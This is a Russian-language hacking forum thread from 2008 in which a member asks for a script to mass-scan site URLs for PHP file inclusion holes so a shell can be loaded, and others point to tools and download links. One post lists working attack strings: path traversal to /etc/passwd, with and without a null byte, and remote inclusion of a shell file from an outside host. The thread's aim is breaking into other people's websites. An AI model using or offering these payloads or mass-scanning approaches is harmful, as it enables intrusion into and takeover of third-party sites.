Проверка на инклуд

Discussion in 'PHP' started by lol100, 23 Nov 2008.

  1. lol100

    lol100 New Member

    Joined:
    3 Nov 2008
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    ПОдскажите есть ли скрипт, который умеет определять есть ли возможность воспользоватся инклудом тоесть например зарядить ему список url такого вида www.site.com/index.php?page=а сюда наш шел
     
  2. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    какой-то подобный самопис недавно выкладывали в этой же ветке, покапай предыдущие темы
     
  3. lol100

    lol100 New Member

    Joined:
    3 Nov 2008
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    Пролистал ветку почти доконца что то ненашел
     
  4. [:|||||:]

    [:|||||:] Banned

    Joined:
    29 May 2008
    Messages:
    68
    Likes Received:
    59
    Reputations:
    11
    скрипт от Nomer1
     
  5. DIMON4G

    DIMON4G Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    0
    Likes Received:
    108
    Reputations:
    -1
    довольно долго искал, если кому-то надо, то вот:
    /showthread.php?t=82211
     
    1 person likes this.
  6. lol100

    lol100 New Member

    Joined:
    3 Nov 2008
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    перезалил бы кто)
     
  7. DIMON4G

    DIMON4G Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    0
    Likes Received:
    108
    Reputations:
    -1
    там вроде эта ссылка пашет
    http://dump.ru/file/1021261/
     
    2 people like this.
  8. vikseriq

    vikseriq Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    118
    Likes Received:
    44
    Reputations:
    2
  9. lol100

    lol100 New Member

    Joined:
    3 Nov 2008
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    а есть что нить подобное толькто чтоб проверял массово из списка и удачные записовал
     
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Любая автоматизация поиска уязвимостей - утопия, имхо. Со временем, конечно. Автоматизация же процесса получения данных на основе выявленной уязвимости - рулез форева.
     
  11. PHPoozy

    PHPoozy Elder - Старейшина

    Joined:
    1 Jul 2008
    Messages:
    149
    Likes Received:
    31
    Reputations:
    -22
    я люблю находить в ручную. т.к. автоматом никого кайфа не получишь!
     
  12. Dian

    Dian Elder - Старейшина

    Joined:
    2 Sep 2008
    Messages:
    57
    Likes Received:
    11
    Reputations:
    4
    Поиск по известным классам уязвимостей - чуть ли не механическая работа, почему ж нет?..
     
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Просто я думаю, хотя это конечно весьма сугубо, что понятие " известным классам уязвимостей " весьма быстро, в смысле гораздо быстрее, чем раньше, при современных темпах развития сети и т.д, переходит в понятие "пофиксили, забудь, дружище"

    ЗЫЖ Предлагаю больше на эту тему на флудить, ибо и так высеры постим личностные, а ачад, на мой взгляд, либо по делу - либо флуд. За что и ценю
     
  14. PHPoozy

    PHPoozy Elder - Старейшина

    Joined:
    1 Jul 2008
    Messages:
    149
    Likes Received:
    31
    Reputations:
    -22
    либо нах
     
  15. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    ?a=../../../../../../../../../../../../../../../../etc/passwd
    ?a=../../../../../../../../../../../../../../../../etc/passwd%00
    ?a=http://site.ru/shell.txt
    ?a=http://site.ru/shell.txt%00
    ручками, чем не вариант =))?
     
  16. Solker

    Solker Elder - Старейшина

    Joined:
    4 May 2006
    Messages:
    175
    Likes Received:
    53
    Reputations:
    18
    Какой смысл использовать руки и делать однотонную работу? (MMORPG задротам посвящается)
    Машина была придумана для того, что бы как раз избежать этой монотонной работы со стороны людей. Но походу у людях в генах заложено делать однотипную работу, и они к этому так стремятся.
    Я лучше поставлю Бота, пускай проверяет ссылки, а сам займусь другими делами, тем самым сохранив больше времени.